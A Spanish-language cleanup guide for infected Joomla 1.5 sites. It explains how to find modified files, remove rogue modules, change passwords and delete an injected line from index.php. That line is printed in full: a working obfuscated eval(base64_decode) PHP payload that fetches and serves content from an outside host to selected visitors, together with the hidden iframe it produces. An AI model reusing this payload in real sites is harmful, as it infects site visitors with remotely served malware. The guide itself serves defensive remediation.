Si tienes joomla 1.5 y ha aparecido un aviso en tu sitio de que está infectado por virus o malware es posible que hayas encontrado en el codigo fuente de tu página algún iframe similar al siguiente:
<iframe src=»//hqvsbbzp.ftp1.biz/pony» width=1 height=1 style=»visibility: hidden»></iframe>
El primer paso que vamos a realizar es buscar algún tipo de archivo modificado o creado al margen de nuestro conocimiento. Para ello podemos ir revisando a través del ftp las fechas de modificación de las carpetas y archivos hasta encontrar la que no nos cuadra (la carpeta se guarda con la misma fecha del último archivo modificado), o bien ejecutando el siguiente comando a través de ssh para encontrar los archivos modificados el último día:
-find / -mtime -2 -print
Una vez localizado (habitualmente un módulo), debemos proceder a eliminar el/los módulos que no hemos instalado (asegurandonos antes de que presenten un contenido como el siguiente a través del panel de administración:
Una vez hecho esto debemos asegurarnos de cambiar tanto la contraseña de acceso al panel como la de acceso al ftp y desde el panel de sistema asegurarnos de que la capa ftp está desactivada y la contraseña no está guardada, sino la borramos y le damos a guardar para que la vacíe.
Ahora es cuando vamos a atacar contra el «virus», iremos al archivo index.php de la carpeta root, y buscaremos una línea que indique lo siguiente:
eval(base64_decode("JHVybCAgICAgICA9ICdodHRwOi8vd29yZHByZXNzdGVzdC5pbmZvLzEudHh0JzsNCiRtb2RlICAgICAgPSAxOy8vMSDo6+ggMg0KDQppbmlfc2V0KCdkZWZhdWx0X3NvY2tldF90aW1lb3V0JywgICAgMTUpOyAgICANCg0KDQoNCi8vx+Dv8O7xIOog7eD45ezzIPXu8fLzXw0KZnVuY3Rpb24gZ2V0dXJsXzEoJHVybCkNCnsNCgkkY3R4PXN0cmVhbV9jb250ZXh0X2NyZWF0ZShhcnJheSgnaHR0cCc9PiAgIGFycmF5KCd0aW1lb3V0JyA9PiAxNSApKSk7DQoNCglyZXR1cm4gZmlsZV9nZXRfY29udGVudHMoJHVybCxmYWxzZSwkY3R4KTsNCn0NCg0KLy/H4O/w7vEg6iDt4Pjl7PMg9e7x8vNfMiBcINHu6uXy+w0KZnVuY3Rpb24gZ2V0dXJsXzIoICRzb2NrLCRob3N0LCAkcGF0aCwgJHF1ZXJ5ICkNCnsNCglmcHV0cygkc29jaywgIkdFVCAiIC4gJHBhdGggLiAiPyIgLiAkcXVlcnkgLiAiICBIVFRQLzEuMFxyXG4iIC4NCgkiSG9zdDogJGhvc3RcclxuIiAuDQoJIlVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDUuMTsgZW4tVVM7IHJ2OjEuOC4wLjMpIEdlY2tvLzIwMDYwNDI2IEZpcmVmb3gvMS41LjAuM1xyXG4iIC4NCgkiQWNjZXB0OiAqLypcclxuIiAuDQoJIkFjY2VwdC1MYW5ndWFnZTogZW4tdXMsZW47cT0wLjVcclxuIiAuDQoJIkFjY2VwdC1DaGFyc2V0OiBJU08tODg1OS0xLHV0Zi04O3E9MC43LCo7cT0wLjdcclxuIiAuDQoJIktlZXAtQWxpdmU6IDMwMFxyXG4iIC4NCgkiQ29ubmVjdGlvbjoga2VlcC1hbGl2ZVxyXG4iIC4NCgkiUmVmZXJlcjogaHR0cDovLyRob3N0XHJcblxyXG4iKTsNCgl3aGlsZSAoICRsaW5lID0gZnJlYWQoICRzb2NrLCA0MDk2ICkgKQ0KCXsNCgkJJHJlc3BvbnNlIC49ICRsaW5lOw0KCX0NCglmY2xvc2UoICRzb2NrICk7DQoJJHBvcyAgICAgID0gc3RycG9zKCRyZXNwb25zZSwgIlxyXG5cclxuIik7DQoJJHJlc3BvbnNlID0gc3Vic3RyKCRyZXNwb25zZSwgJHBvcyArIDQpOw0KCXJldHVybiAkcmVzcG9uc2U7DQp9DQovL8fg7/Du8SDqIO3g+OXs8yD17vHy818zIFwgyvPw6/sNCmZ1bmN0aW9uIGdldHVybF8zKCR1cmwpDQp7DQoJJGNoID0gY3VybF9pbml0KCR1cmwpOw0KCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIEZBTFNFKTsNCgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIFRSVUUpOw0KCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCAxNSk7DQoJJHJlc3VsdCA9IGN1cmxfZXhlYygkY2gpOw0KCWN1cmxfY2xvc2UoJGNoKTsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KZnVuY3Rpb24gaXNfZ29vZF91YSgkdXNlcmFnZW50KQ0Kew0KCWlmKCBzdHJpcG9zKCR1c2VyYWdlbnQsICdvcGVyYScpIT09ZmFsc2UgfHwgc3RyaXBvcygkdXNlcmFnZW50LCAnRmlyZWZveCcpIHx8IHN0cmlwb3MoJHVzZXJhZ2VudCwgJ01TSUUnKSkNCgl7DQoJCXJldHVybiAxOw0KCX0NCglyZXR1cm4gMDsNCn0NCg0KZnVuY3Rpb24gaXNfd2luZG93c191YSgkdXNlcmFnZW50KQ0Kew0KCWlmKHN0cmlwb3MoJHVzZXJhZ2VudCwgJ3dpbmRvd3MnKSkNCgl7DQoJCXJldHVybiAxOw0KCX0NCglyZXR1cm4gMDsNCn0NCg0KZnVuY3Rpb24gbWFpbndvcmsoJHVybCkNCnsNCglpZiggaW5pX2dldCgiYWxsb3dfdXJsX2ZvcGVuIikgPT0gMSkNCgl7DQoJCWVjaG8gZ2V0dXJsXzEoJHVybCk7DQoJfQ0KCWVsc2UNCgl7DQoJCSR1cmxfMSA9IHBhcnNlX3VybCgkdXJsKTsNCg0KCQlpZigkc29jayA9IEBmc29ja29wZW4oJHVybF8xWydob3N0J10sIDgwLCRlcnJubywgJGVycnN0ciwxNSkpDQoJCXsNCgkJCWVjaG8gZ2V0dXJsXzIoICRzb2NrLCAkdXJsXzFbJ2hvc3QnXSwgJHVybF8xWydwYXRoJ10sICR1cmxfMVsncXVlcnknXSApOw0KCQl9DQoJCWVsc2VpZiggQGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0JykgKQ0KCQl7DQoJCQllY2hvIGdldHVybF8zKCR1cmwpOw0KCQl9DQoJfQ0KfQ0KDQoNCiR1YSA9IEAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107DQoNCmlmKGlzX3dpbmRvd3NfdWEoJHVhKSkNCnsNCglpZiAoJG1vZGUgPT0gMSkNCgl7DQoJCWlmIChpc19nb29kX3VhKCR1YSkpDQoJCXsNCgkJCW1haW53b3JrKCR1cmwpOw0KCQl9DQoJfQ0KCWVsc2VpZiAoJG1vZGUgPT0gMikNCgl7DQoJCWlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pKQ0KCQl7DQoJCQkkcmVmZXJlciA9ICRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCgkJCWlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm15c3BhY2UuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKQ0KCQkJew0KCQkJCWlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSkNCgkJCQl7DQoJCQkJCW1haW53b3JrKCR1cmwpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCX0NCn0=")); $JResp = str_ireplace("</head>", "</head>".$code, $JResp); echo $JResp;
El string de texto dentro del base64 es lo que pone el iframe.
Eliminaremos la línea que empieza con eval(base64… y guardaremos el archivo. En este momento nuestra página debería dejar de dar el aviso.
Es importante tener cuidado al eliminar esta línea ya que si borramos más de lo que debemos puede que nuestra página deje de funcionar